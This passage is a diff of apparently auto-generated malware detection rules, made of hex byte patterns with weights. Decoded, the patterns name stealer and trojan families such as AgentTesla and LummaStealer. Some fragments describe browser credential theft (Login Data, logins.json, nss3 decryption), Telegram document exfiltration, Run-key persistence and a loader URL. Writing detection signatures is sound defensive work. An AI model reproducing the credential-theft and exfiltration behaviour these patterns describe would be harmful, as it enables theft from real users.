1)*5376+(#a_6b_2 & 1)*29811+(#a_64_3 & 1)*25391+(#a_69_4 & 1)*12136+(#a_5a_5 & 1)*16697+(#a_39_6 & 1)*12378) >=3 } -rule _InfrastructureShared_17277{ +rule _InfrastructureShared_18405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -205815,7 +219473,7 @@ rule _InfrastructureShared_17277{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_6d_2 & 1)*28518+(#a_19_3 & 1)*14384) >=4 } -rule _InfrastructureShared_17278{ +rule _InfrastructureShared_18406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -205825,7 +219483,7 @@ rule _InfrastructureShared_17278{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_17279{ +rule _InfrastructureShared_18407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -205833,16 +219491,29 @@ rule _InfrastructureShared_17279{ $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 45 61 67 6c 65 52 65 6c 61 79 2e 41 21 64 68 61 00 01 00 19 01 45 61 67 6c 65 33 2e 30 2d 53 65 72 76 65 72 2f 70 6b 67 2f 79 61 6d 75 78 01 00 21 01 6d 61 69 6e 2e 45 61 67 } //16675 $a_65_1 = {61 79 2e 53 74 61 72 74 41 67 65 6e 74 48 61 6e 64 6c 65 72 01 00 25 01 6d 61 69 6e 2e 45 61 67 6c 65 52 65 6c 61 79 2e 53 74 61 72 74 50 72 6f 78 69 66 69 65 72 48 61 6e 64 6c 65 72 01 00 29 01 6d 61 69 6e 2e 45 61 67 6c 65 52 65 6c 61 79 2e 48 } //25964 $a_6c_2 = {50 72 6f 78 69 66 69 65 72 43 6f 6e 6e 65 63 74 69 6f 6e 01 00 1a 01 6d 61 69 6e 2e 48 61 6e 64 6c 65 41 67 65 6e 74 43 6f 6e 6e 65 63 74 69 6f 6e 01 00 16 01 6d 61 69 6e 2e 50 72 6f 78 69 66 69 65 72 54 6f 53 65 72 76 65 72 01 00 0e 01 6d 61 69 6e 2e 52 65 61 64 4c 69 6e 65 73 01 00 11 01 6d 61 69 } //28257 - $a_68_3 = {63 6b 41 6c 6c 6f 77 65 64 00 00 78 28 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 4a 4f 30 30 36 35 21 4d 54 42 00 01 00 } //11886 - $a_46_4 = {6f } //-32496 o - $a_73_5 = {36 34 53 74 72 69 6e 67 01 00 25 81 01 6e 68 66 66 73 6b 64 73 66 6b 64 64 64 66 64 68 64 61 66 72 66 66 64 64 64 64 64 64 68 67 66 73 63 66 66 64 66 01 00 1d 81 01 68 6b 67 66 73 66 64 66 66 64 68 66 64 68 64 64 72 66 61 68 67 68 64 64 73 73 68 63 66 01 00 26 81 01 73 64 64 64 64 66 66 73 } //17005 - $a_67_6 = {64 64 6a 66 66 66 66 66 66 67 6a 68 73 6b 64 67 67 73 66 61 63 73 61 66 70 01 00 28 81 01 73 66 68 6a 66 66 6b 66 68 67 66 68 64 6a 73 72 66 68 68 64 64 66 68 66 66 61 64 73 67 66 73 66 68 73 73 63 66 67 64 62 01 00 1e 81 01 64 64 64 66 72 68 6a 66 73 66 66 67 68 67 64 66 66 61 66 63 66 64 73 73 66 6b } //26726 - $a_6a_7 = {00 13 81 01 6a 64 66 68 66 64 66 64 66 64 66 66 73 67 73 64 6b 66 6a 00 00 78 28 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 61 6e 6f 62 6f 74 2e 53 53 31 34 21 4d 54 42 00 01 00 13 01 14 13 04 38 07 00 00 00 28 0d 00 00 06 13 04 11 04 2c f5 01 00 24 81 01 39 61 65 31 } //26726 + $a_68_3 = {63 6b 41 6c 6c 6f 77 65 64 00 00 78 28 01 00 07 00 07 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 50 41 48 42 21 4d 54 42 00 02 00 75 01 55 } //11886 + $a_48_4 = {ec c0 02 00 00 48 8d 15 dc cd 08 00 48 89 94 24 10 02 00 00 48 8d 15 5d 5c 17 00 48 89 94 24 18 02 00 00 48 c7 84 24 68 02 00 00 00 00 00 00 48 8d 15 52 08 00 00 48 89 94 24 50 02 00 00 48 c7 84 24 60 02 00 00 01 00 00 00 48 c7 84 24 68 02 00 00 01 00 00 00 48 8d 94 24 10 02 00 00 48 89 94 24 58 02 00 00 48 8b 05 4b ed 3a 00 31 db 01 00 0b 01 2d 73 65 6e 64 41 6c 6c 5f 69 70 01 00 09 01 2d 73 68 75 74 64 6f 77 6e 01 00 2d 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 02 00 2d 01 52 65 61 6c 74 65 6b 5f 48 44 5f 41 75 64 69 6f 5f 55 6e 69 76 65 72 73 61 6c 5f 53 65 72 76 69 63 65 5f 44 72 } //-30392 + $a_72_5 = {65 78 65 00 00 78 28 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 4a 4f 30 30 36 35 21 4d 54 42 00 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 25 81 01 6e 68 66 66 73 6b 64 73 66 6b 64 64 64 66 64 68 } //30313 + $a_72_6 = {66 64 64 64 64 64 64 68 67 66 73 63 66 66 64 66 01 00 1d 81 01 68 6b 67 66 73 66 64 66 66 64 68 66 64 68 64 64 72 66 61 68 67 68 64 64 73 73 68 63 66 01 00 26 81 01 73 64 64 64 64 66 66 73 66 68 65 67 68 64 64 6a 66 66 66 66 66 66 67 6a 68 73 6b 64 67 67 73 66 61 63 73 61 66 70 01 00 28 81 01 73 66 68 6a } //24932 + $a_66_7 = {67 66 68 64 6a 73 72 66 68 68 64 64 66 68 66 66 61 64 73 67 66 73 66 68 73 73 63 66 67 64 62 01 00 1e 81 01 64 64 64 66 72 68 6a 66 73 66 66 67 68 67 64 66 66 61 66 63 66 64 73 73 66 6b 66 68 67 6a 01 00 13 81 01 6a 64 66 68 66 64 66 64 66 64 66 66 73 67 73 64 6b 66 6a 00 00 78 28 01 00 07 00 07 00 07 00 21 23 48 53 54 } //26214 condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25964+(#a_6c_2 & 1)*28257+(#a_68_3 & 1)*11886+(#a_46_4 & 1)*-32496+(#a_73_5 & 1)*17005+(#a_67_6 & 1)*26726+(#a_6a_7 & 1)*26726) >=4 + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25964+(#a_6c_2 & 1)*28257+(#a_68_3 & 1)*11886+(#a_48_4 & 1)*-30392+(#a_72_5 & 1)*30313+(#a_72_6 & 1)*24932+(#a_66_7 & 1)*26214) >=4 } -rule _InfrastructureShared_17280{ +rule _InfrastructureShared_18408{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 50 41 48 42 21 4d 54 42 00 02 00 75 01 55 48 89 e5 48 81 ec c0 02 00 00 48 8d 15 dc cd 08 00 48 89 94 24 10 02 00 00 48 8d 15 5d 5c 17 00 48 89 94 24 } //16675 + $a_24_2 = {02 00 00 00 00 00 00 48 8d 15 52 08 00 00 48 89 94 24 50 02 00 00 48 c7 84 24 60 02 00 00 01 00 00 00 48 c7 84 24 68 02 00 00 01 00 00 00 48 8d 94 24 10 02 00 00 48 89 94 24 58 02 00 00 48 8b 05 4b ed 3a 00 31 db 01 00 0b 01 2d 73 65 6e 64 41 6c 6c 5f 69 70 01 00 09 01 2d 73 68 75 74 64 6f 77 6e 01 00 2d 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 } //-14520 + $a_6e_3 = {56 65 72 73 69 6f 6e 5c 52 75 6e 02 00 2d 01 52 65 61 6c 74 65 6b 5f 48 44 5f 41 75 64 69 6f 5f 55 6e 69 76 65 72 73 61 6c 5f 53 65 72 76 69 63 65 5f 44 72 69 76 65 72 2e 65 78 65 00 00 78 28 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 } //29298 + $a_4d_4 = {4f 30 30 36 35 21 4d 54 42 00 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 25 81 01 6e 68 66 66 73 6b 64 73 66 6b 64 64 64 66 64 68 64 61 66 72 66 66 64 64 64 64 64 64 68 67 66 73 63 66 66 64 66 01 00 1d 81 } //16686 + condition: + ((#a_46_0 & 1)*16675+(#a_24_2 & 1)*-14520+(#a_6e_3 & 1)*29298+(#a_4d_4 & 1)*16686) >=7 + +} +rule _InfrastructureShared_18409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -205858,7 +219529,7 @@ rule _InfrastructureShared_17280{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*26226+(#a_66_2 & 1)*26726+(#a_54_3 & 1)*21076+(#a_66_4 & 1)*12593+(#a_2f_5 & 1)*26467+(#a_23_6 & 1)*8) >=7 } -rule _InfrastructureShared_17281{ +rule _InfrastructureShared_18410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -205874,7 +219545,7 @@ rule _InfrastructureShared_17281{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*14648+(#a_5a_2 & 1)*17218+(#a_6c_3 & 1)*25972+(#a_44_4 & 1)*17463+(#a_73_5 & 1)*6400+(#a_64_6 & 1)*21087) >=7 } -rule _InfrastructureShared_17282{ +rule _InfrastructureShared_18411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -205890,7 +219561,7 @@ rule _InfrastructureShared_17282{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*16688+(#a_5f_3 & 1)*25971+(#a_28_4 & 1)*0+(#a_31_5 & 1)*14177+(#a_45_6 & 1)*25972+(#a_01_7 & 1)*15360) >=8 } -rule _InfrastructureShared_17283{ +rule _InfrastructureShared_18412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -205908,7 +219579,7 @@ rule _InfrastructureShared_17283{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_28_6 & 1)*0+(#a_72_7 & 1)*18028+(#a_81_8 & 1)*1) >=9 } -rule _InfrastructureShared_17284{ +rule _InfrastructureShared_18413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -205916,31 +219587,14 @@ rule _InfrastructureShared_17284{ $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 61 6c 44 72 76 2e 42 21 4d 54 42 00 01 00 3c 81 01 5c 52 65 67 69 73 74 72 79 5c 4d 61 63 68 69 6e 65 5c 53 79 73 74 65 6d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f } //21539 $a_74_1 = {53 65 72 76 69 63 65 73 5c 4d 70 44 72 69 76 65 72 01 00 17 81 01 4d 6d 47 65 74 56 69 72 74 75 61 6c 46 6f 72 50 68 79 73 69 63 61 6c 01 00 19 81 01 4d 6d 47 65 74 50 68 79 73 69 63 61 6c 4d 65 6d 6f 72 79 52 61 6e 67 65 73 01 00 0e 81 01 50 73 47 65 74 50 72 6f 63 65 73 73 49 64 01 00 16 81 01 50 73 } //21356 $a_74_2 = {61 6c 53 79 73 74 65 6d 50 72 6f 63 65 73 73 01 00 17 81 01 5a 77 41 6c 6c 6f 63 61 74 65 56 69 72 74 75 61 6c 4d 65 6d 6f 72 79 01 00 0f 81 01 4b 65 41 74 74 61 63 68 50 72 6f 63 65 73 73 01 00 0f 81 01 4b 65 44 65 74 61 63 68 50 72 6f 63 65 73 73 01 00 0e 81 01 43 3a 5c 43 61 72 64 4b 65 79 2e 74 78 74 00 00 78 } //28233 - $a_54_5 = {4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 63 2e 47 50 58 41 21 4d 54 42 00 02 00 15 } //8448 - $a_65_6 = {64 44 6f 63 75 6d 65 6e 74 3f 63 68 61 74 5f 69 64 3d 02 00 36 81 01 1b 49 00 4d 00 41 00 50 00 20 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 00 1b 50 00 4f 00 50 00 33 00 20 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 01 00 29 01 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 5f 00 6b 00 65 00 79 00 22 00 3a 00 22 00 28 00 } //385 - $a_00_7 = {3f 00 29 01 00 2b 81 01 4d 69 63 72 6f 73 6f 66 74 5c 45 64 67 65 5c 55 73 65 72 20 44 61 74 61 5c 44 65 66 61 75 6c 74 5c 4c } //46 - $a_6e_8 = {44 61 74 61 01 00 0b 81 01 6c 6f 67 69 6e 73 2e 6a 73 6f 6e 01 00 14 81 01 54 68 75 6e 64 65 72 62 69 72 64 5c 50 72 6f 66 69 6c 65 73 01 00 08 81 01 6e 73 73 33 2e 64 6c 6c 01 00 0f 81 01 50 4b 31 31 53 44 52 5f 44 65 63 72 79 70 74 00 00 78 28 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d } //26479 + $a_48_5 = {54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4b 41 46 31 33 34 21 4d } //8448 TR:Trojan:MSIL/AgentTesla.PKAF134!M + $a_01_7 = {47 65 74 42 79 74 65 73 01 00 08 81 01 45 6e 63 6f 64 69 6e 67 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 0b 81 01 47 65 74 52 65 73 70 6f 6e 73 65 01 00 25 81 01 24 66 33 36 38 33 37 30 31 2d 39 30 63 61 2d 34 33 31 35 2d 39 36 38 30 2d 34 32 39 32 38 66 64 61 66 66 62 34 01 00 41 81 01 2f 2f 6b 65 64 61 69 6f 72 61 6e 67 6d 65 6c 61 79 75 2e 78 79 7a 2f 6c 6f 61 64 65 72 2f 75 70 6c } //2048 + $a_73_8 = {77 69 74 68 6f 75 74 73 74 61 72 74 75 70 5f 4b 6b 78 6a 70 6a 6d 65 2e 62 6d 70 01 00 14 81 01 47 74 74 68 70 75 68 7a 67 6a 68 6b 7a 6b 6c 71 6c 64 72 71 01 00 0d 81 01 45 79 73 61 73 61 62 71 73 66 68 67 76 01 00 0c 81 01 58 77 71 79 64 67 76 64 76 64 75 6d 01 00 0f 81 01 58 66 77 68 6c 68 6a 62 } //24943 condition: - ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*21356+(#a_74_2 & 1)*28233+(#a_54_5 & 1)*8448+(#a_65_6 & 1)*385+(#a_00_7 & 1)*46+(#a_6e_8 & 1)*26479) >=9 + ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*21356+(#a_74_2 & 1)*28233+(#a_48_5 & 1)*8448+(#a_01_7 & 1)*2048+(#a_73_8 & 1)*24943) >=9 } -rule _InfrastructureShared_17285{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 08 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 63 2e 47 50 58 41 21 4d 54 42 00 02 00 15 81 01 73 65 6e 64 44 6f 63 75 6d 65 6e 74 3f 63 68 61 74 5f 69 64 3d 02 00 36 81 01 1b 49 00 4d 00 41 00 50 } //21539 - $a_00_2 = {73 00 77 00 6f 00 72 00 64 00 00 1b 50 00 4f 00 50 00 33 00 20 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 01 00 29 01 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 5f 00 6b 00 65 00 79 00 22 00 3a 00 22 00 28 00 2e 00 2a 00 3f 00 29 01 00 2b 81 01 4d 69 63 72 6f 73 6f 66 74 5c 45 64 67 65 5c 55 73 65 72 20 44 61 74 61 5c 44 65 66 } //97 - $a_74_3 = {4c 6f 67 69 6e 20 44 61 74 61 01 00 0b 81 01 6c 6f 67 69 6e 73 2e 6a 73 6f 6e 01 00 14 81 01 54 68 75 6e 64 65 72 62 69 72 64 5c 50 72 6f 66 69 6c 65 73 01 00 08 81 01 6e 73 73 33 2e 64 6c 6c 01 00 0f 81 01 50 4b 31 31 53 44 52 5f 44 65 63 72 79 70 74 00 00 78 28 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 } //30049 - $a_53_4 = {4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4b 41 46 31 33 34 21 4d 54 42 00 01 00 08 81 01 47 65 74 42 79 74 65 73 01 00 08 81 01 45 6e 63 6f 64 69 6e 67 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 0b 81 01 47 65 74 52 65 73 70 6f 6e } //14958 - $a_00_5 = {25 } //25971 % - $a_66_6 = {36 38 33 37 30 31 2d 39 30 63 61 2d 34 33 31 35 2d 39 36 38 30 2d 34 32 39 32 38 66 64 61 66 66 62 34 01 00 } //385 - $a_2f_7 = {6b } //-32447 k - condition: - ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*97+(#a_74_3 & 1)*30049+(#a_53_4 & 1)*14958+(#a_00_5 & 1)*25971+(#a_66_6 & 1)*385+(#a_2f_7 & 1)*-32447) >=10 - -} -rule _InfrastructureShared_17286{ +rule _InfrastructureShared_18414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -205958,7 +219612,7 @@ rule _InfrastructureShared_17286{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29541+(#a_00_2 & 1)*28781+(#a_74_3 & 1)*385+(#a_00_5 & 1)*1+(#a_6a_6 & 1)*29268+(#a_74_7 & 1)*25970+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=10 } -rule _InfrastructureShared_17287{ +rule _InfrastructureShared_18415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -205978,7 +219632,7 @@ rule _InfrastructureShared_17287{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*24937+(#a_55_2 & 1)*28005+(#a_01_3 & 1)*5632+(#a_72_4 & 1)*28271+(#a_6f_5 & 1)*29806+(#a_49_6 & 1)*19770+(#a_61_7 & 1)*20993+(#a_47_8 & 1)*28532+(#a_6f_9 & 1)*26990+(#a_40_10 & 1)*16963) >=11 } -rule _InfrastructureShared_17288{ +rule _InfrastructureShared_18416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -205999,7 +219653,7 @@ rule _InfrastructureShared_17288{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28001+(#a_65_2 & 1)*27759+(#a_73_3 & 1)*17005+(#a_72_4 & 1)*29793+(#a_6e_5 & 1)*29268+(#a_00_6 & 1)*1+(#a_43_7 & 1)*29295+(#a_43_8 & 1)*16703+(#a_42_9 & 1)*21825+(#a_50_10 & 1)*19521+(#a_e7_11 & 1)*-2245) >=12 } -rule _InfrastructureShared_17289{ +rule _InfrastructureShared_18417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -206021,7 +219675,7 @@ rule _InfrastructureShared_17289{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*28532+(#a_61_2 & 1)*29550+(#a_54_3 & 1)*21061+(#a_55_5 & 1)*16174+(#a_4f_6 & 1)*12866+(#a_72_7 & 1)*25955+(#a_4c_8 & 1)*12851+(#a_01_9 & 1)*-14029+(#a_6e_10 & 1)*27247+(#a_90_11 & 1)*22024+(#a_4c_12 & 1)*8993+(#a_ea_13 & 1)*26624) >=14 } -rule _InfrastructureShared_17290{ +rule _InfrastructureShared_18418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 08 00 21 " @@ -206038,7 +219692,7 @@ rule _InfrastructureShared_17290{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*28484+(#a_69_2 & 1)*29806+(#a_75_3 & 1)*25971+(#a_8d_4 & 1)*31991+(#a_70_5 & 1)*29252+(#a_08_6 & 1)*772+(#a_b9_7 & 1)*656) >=30 } -rule _InfrastructureShared_17291{ +rule _InfrastructureShared_18419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -206051,7 +219705,7 @@ rule _InfrastructureShared_17291{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*-28539+(#a_8d_2 & 1)*20735+(#a_00_3 & 1)*16253) >=1 } -rule _InfrastructureShared_17292{ +rule _InfrastructureShared_18420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -206064,7 +219718,7 @@ rule _InfrastructureShared_17292{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*-14717+(#a_c6_2 & 1)*7728+(#a_01_3 & 1)*-17578) >=1 } -rule _InfrastructureShared_17293{ +rule _InfrastructureShared_18421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -206078,7 +219732,7 @@ rule _InfrastructureShared_17293{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*23553+(#a_7a_2 & 1)*24841+(#a_73_3 & 1)*8293+(#a_65_4 & 1)*14690) >=1 } -rule _InfrastructureShared_17294{ +rule _InfrastructureShared_18422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -206093,7 +219747,7 @@ rule _InfrastructureShared_17294{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*12600+(#a_32_2 & 1)*384+(#a_39_3 & 1)*14136+(#a_35_4 & 1)*13922+(#a_46_5 & 1)*16675) >=1 } -rule _InfrastructureShared_17295{ +rule _InfrastructureShared_18423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -206105,7 +219759,7 @@ rule _InfrastructureShared_17295{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*97+(#a_00_3 & 1)*32) >=2 } -rule _InfrastructureShared_17296{ +rule _InfrastructureShared_18424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -206117,7 +219771,7 @@ rule _InfrastructureShared_17296{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*400+(#a_ff_2 & 1)*400) >=3 } -rule _InfrastructureShared_17297{ +rule _InfrastructureShared_18425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -206129,7 +219783,7 @@ rule _InfrastructureShared_17297{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*29206+(#a_d1_2 & 1)*3855) >=3 } -rule _InfrastructureShared_17298{ +rule _InfrastructureShared_18426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -206141,7 +219795,22 @@ rule _InfrastructureShared_17298{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-8100+(#a_24_2 & 1)*-29940) >=3 } -rule _InfrastructureShared_17299{ +rule _InfrastructureShared_18427{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 6f 72 66 65 69 74 43 68 6f 69 63 65 2e 41 21 64 68 61 00 01 00 3a 01 54 00 68 00 69 00 73 00 20 00 6e 00 61 00 6d 00 65 00 20 00 69 00 73 00 20 00 61 00 6c 00 72 00 65 00 61 00 64 00 } //16675 + $a_00_1 = {69 00 6e 00 20 00 75 00 73 00 65 00 64 00 2e 00 01 00 12 01 78 43 6f 6e 74 72 6f 6c 2e 46 6f 72 } //121 + $a_46_2 = {6d 01 00 1a 01 78 43 6f 6e 74 72 6f 6c 2e 43 6f 6e 74 72 6f 6c 73 2e 55 49 43 6f 6e 66 69 67 01 00 1c 01 78 43 6f 6e 74 72 6f 6c 2e 43 6f } //29549 + $a_6f_3 = {73 2e 55 49 54 65 72 6d 69 6e 61 6c 01 00 1b 01 78 43 6f 6e 74 72 6f 6c 2e 43 6f 6e 74 72 6f 6c 73 2e 55 49 50 6f 72 74 6d 61 70 01 00 20 01 78 43 6f 6e 74 72 6f 6c 2e 43 6f 6e 74 72 6f 6c 73 2e 55 49 46 69 6c 65 54 72 61 6e 73 66 65 72 01 00 20 01 78 43 6f 6e 74 72 6f 6c 2e 43 6f 6e 74 72 6f 6c 73 2e 55 49 46 69 6c 65 45 78 70 6c 6f 72 65 } //29806 + $a_00_5 = {04 00 04 00 } //1 + $a_53_6 = {52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4a 4d 21 4d 54 42 00 01 00 50 03 0a 72 61 0a 00 70 0b 16 13 05 2b 2b 00 07 06 72 93 0a 00 70 12 05 28 90 01 01 00 00 0a 28 90 01 01 00 00 } //8993 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*121+(#a_46_2 & 1)*29549+(#a_6f_3 & 1)*29806+(#a_00_5 & 1)*1+(#a_53_6 & 1)*8993) >=3 + +} +rule _InfrastructureShared_18428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -206153,7 +219822,7 @@ rule _InfrastructureShared_17299{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*10241+(#a_01_2 & 1)*25955) >=4 } -rule _InfrastructureShared_17300{ +rule _InfrastructureShared_18429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -206166,7 +219835,7 @@ rule _InfrastructureShared_17300{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*73+(#a_41_3 & 1)*13875+(#a_63_4 & 1)*11620) >=5 } -rule _InfrastructureShared_17301{ +rule _InfrastructureShared_18430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -206182,7 +219851,7 @@ rule _InfrastructureShared_17301{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29285+(#a_6f_2 & 1)*23651+(#a_00_3 & 1)*29230+(#a_69_4 & 1)*29984+(#a_74_5 & 1)*29779+(#a_6e_6 & 1)*28769) >=5 } -rule _InfrastructureShared_17302{ +rule _InfrastructureShared_18431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -206200,7 +219869,7 @@ rule _InfrastructureShared_17302{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*25120+(#a_50_2 & 1)*278+(#a_78_3 & 1)*27685+(#a_64_4 & 1)*29793+(#a_72_5 & 1)*29298+(#a_46_6 & 1)*16675+(#a_58_7 & 1)*31062+(#a_2e_8 & 1)*28521) >=5 } -rule _InfrastructureShared_17303{ +rule _InfrastructureShared_18432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -206215,7 +219884,7 @@ rule _InfrastructureShared_17303{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25701+(#a_69_2 & 1)*26144+(#a_61_3 & 1)*29216+(#a_42_4 & 1)*19745+(#a_56_5 & 1)*24880) >=6 } -rule _InfrastructureShared_17304{ +rule _InfrastructureShared_18433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -206229,7 +219898,7 @@ rule _InfrastructureShared_17304{ ((#a_46_0 & 1)*16675+(#a_58_1 & 1)*31062+(#a_2e_2 & 1)*28521+(#a_00_3 & 1)*10616+(#a_48_5 & 1)*8448) >=6 } -rule _InfrastructureShared_17305{ +rule _InfrastructureShared_18434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -206243,7 +219912,7 @@ rule _InfrastructureShared_17305{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*8540+(#a_65_2 & 1)*30050+(#a_00_3 & 